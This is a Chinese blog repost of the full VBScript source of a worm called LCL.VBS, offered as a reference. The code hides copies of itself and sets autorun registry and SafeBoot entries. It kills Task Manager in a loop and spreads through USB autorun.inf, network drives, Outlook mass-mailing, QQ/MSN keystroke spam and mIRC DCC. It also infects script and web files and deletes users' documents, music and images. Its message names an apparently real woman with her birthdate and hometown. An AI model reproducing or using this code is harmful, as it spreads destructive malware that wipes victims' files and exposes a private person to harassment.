LCL.VBS 病毒源代码

150 阅读 0 评论 99 点赞

我是靠谱客的博主谨慎大山，最近开发中收集的这篇文章主要介绍LCL.VBS 病毒源代码，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

rem email:kouguoxi@hotmail.com
rem some crack statement i remment,make it can't to run
on error resume next

dim title,text
title="can you help me find a person?"
text="her name is Liu Chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10)
text=text&"I was died because by her,"&chr(13)&chr(10)
text=text&"I am demanding my life of you."&chr(13)&chr(10)

Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
self=fso.opentextfile(wscript.scriptfullname,1).readall
set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl=fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7

set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.Write text
fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close

dim lcl
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)

Function scode (N)
    dim x
    for x = 0 to 254
       if n = chr(x) then
          scode = x
          exit function
       end if
    next
end function

rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
    cc = mid (self,l,1)
    if l>99 and instr(self,"Liu Chun li")>0 then
       cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据
       else
       cipher=chr(scode(cc))
    end if
    correy=correy&cipher
next

lcl.Write correy
lcl.Close

dim hk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwrite hk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\"
wshshell.Regwrite safe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwrite safe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop

dim d
For Each d in fso.Drives
    if d.drivetype<>4 then
       fso.CopyFile b, d&"\lcl.txt"
       scan(d)
    end if
    if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then
          fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"
          fso.getfile(wscript.scriptfullname).attributes=7
          set inf=fso.createtextfile(d&"\autorun.inf",true)
          fso.getfile(d&"\autorun.inf").attributes=7
          inf.writeline "[autorun]"
          inf.writeline "open="
          inf.writeline "shell\open=打开(&O)"
          inf.writeline "shell\open\Command=WScript.exe lclrun.vbs"
          inf.writeline "shell\open\Command=WScript.exe lcl.vbs"
          inf.writeline "shell\open\Default=1"
          inf.writeline "shell\explore=资源管理器(&X)"
          inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs"
          inf.writeline "shell\explore\Command=WScript.exe lcl.vbs"
          inf.close
          set ini=fso.createtextfile(d&"\desktop.ini",true)
          fso.getfile(d&"\desktop.ini").attributes=7
          ini.writeline "[.ShellClassInfo]"
          ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
          ini.close
          set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)
     fso.getfile(d&"\lclrun.vbs").attributes=7
     lclrun.writeline "On Error GoTo 0"
     lclrun.writeline "set fso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
     lclrun.writeline "ifor each d in fso.drives"
     lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"
     lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "
     lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
     lclrun.writeline "end if"
     lclrun.writeline "next"
     lclrun.close
       end if
next

dim wshnetwork,netdrives,net1,net2
Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set netDrives = WSHNetwork.EnumNetworkDrives
If netDrives.Count > 0 Then
    For i = 0 To netDrives.Count - 1 Step 2
    net1 = netdrives(i)
    net2 = netDrives(i + 1)
    scan (net1)
    scan (net2)
    Next
End If

dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
Set outlookApp = CreateObject("Outlook.App"&"lication")
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
   Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
   Set addrList= mapiObj.AddressLists ''获取地址表的个数
   For Each addr In addrList
      If addr.AddressEntries.Count <> 0 Then
         addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
         For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
             Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
             Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
             item.To = addrEnt.Address
             item.Subject = title
             item.Body = text
             Set attachMents=item.Attachments
             attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
             item.DeleteAfterSubmit = True ''信件提交后自动删除
             If item.To <> "" Then
             item.Send
             wshshell.regwrite "HKCU\software\Mailtest\mailed", "1"
             End If
          Next
       End If
    Next
End if

rem next from i love you.
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)
    x=1
    regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    if (regv="") then
      regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
      for ctrentries=1 to a.AddressEntries.Count
          malead=a.AddressEntries(x)
          regad=""
          regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
          if (regad="") then
          set male=out.CreateItem(0)
          male.Recipients.Add(malead)
          male.Subject = title
          male.Body = text
          male.Attachments.Add(dirsystem&"lcl.vbs")
          male.Send
          wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
          end if
          x=x+1
      next
      wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
      else
       wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if
next
Set out=Nothing
Set mapi=Nothing

Set objOutlook = CreateObject("Outlook.Application")
If objOutlook = "Outlook" Then
Set objNamespace = objOutlook.GetNameSpace("MAPI")
Set colAddressLists = objNamespace.AddressLists
Set onjNameSpace = Nothing
For Each objItem In colAddressLists
   If objItem.AddressEntries.Count <> 0 Then
    intCountOfAddresses = objItem.AddressEntries.Count
    For i = 1 To intCountOfAddresses
     Set objMailMsg = objOutlook.CreateItem(0)
     Set objDestAddress = objItem.AddressEntries(i)
     objMailMsg.To = objDestAddress.Address
     objMailMsg.Subject =   title
     objMailMsg.Body =   text
     execute "set objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
     strAttach = strFilePathName
     objMailMsg.DeleteAfterSubmit = True
     objSend.Add strAttach
     If objMailMsg.To <> "" Then
      objMailMsg.Send
     End If
    Next
   End If
Next
Set objOutlook = Nothing
Set objItem = Nothing
Set objMailMsg = Nothing
Set objDestAddress = Nothing
End If

strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
     if wbemObject.Name="msn.exe" or wbemObject.Name="qq.exe" then
      WshShell.AppActivate wbemobject.name
      WshShell.SendKeys "can you help me find a person?"
      WshShell.SendKeys "^{enter}" ' or "^~"
      WScript.Sleep 9000
      WshShell.SendKeys "her name is Liu Chun li"
      WshShell.SendKeys "^{enter}"
      WScript.Sleep 9000
      WshShell.SendKeys "her birthday is 1981-02-17."
      WshShell.SendKeys "^{enter}"
      WScript.Sleep 9000
      WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."
      WshShell.SendKeys "^{enter}"
     end if
Next

sub scan(folder)
On Error GoTo 0
set fd=fso.getfolder(folder)
for each file in fd.files
    self1=fso.opentextfile(file,1).readall
    ext=fso.GetExtensionName(file)
    ext=lcase(ext)
    if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then
       if   instr ( self1 ,"Liu Chun li" ) < 0 then
          set lcl=fso.opentextfile(file.path,8,true)
          lcl.write chr(13)&chr(10)
          lcl.write self
          lcl.write chr(13)&chr(10)
          lcl.close
        end if
    end if
    if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then
       if   instr ( self1 ,"Liu Chun li" ) < 0 then
         set lcl=fso.opentextfile(file.path,8,true)
         lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self
         lcl.write "<"&"/SCRIPT>"
         lcl.write chr(13)&chr(10)
         lcl.close
       end if
     end if
     rem or ext="mspx"
     if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then
       if   instr ( self1 ,"Liu Chun li" ) < 0 then
         set lcl=fso.opentextfile(file.path,8,true)
         lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self
         lcl.write "<"&"/SCRIPT>"
         lcl.write chr(13)&chr(10)
         lcl.close
       end if
     end if
     if ext="ini" then
       if not instr ( self1 ,"Liu Chun li" ) > 0 then
         dim ini
         set ini=fso.opentextfile(file.path,8,true)
         ini.writeline chr(13)&chr(10)
         ini.WriteLine "[script]"
         ini.WriteLine "n0=on 1:JOIN:#:{"
         ini.WriteLine "n1= /if ( $nick == $me ) { halt }"
         ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs"
         rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}"
         '利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
         ini.WriteLine "n3=}"
         ini.WriteLine ";Liu Chun li"
         ini.close
       end if
     end if
    rem every 9 in the lunar calenda do it
    if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then
       file.delete true
    end if
next
for each subfd in fd.subfolders
    scan(subfd)
next
end sub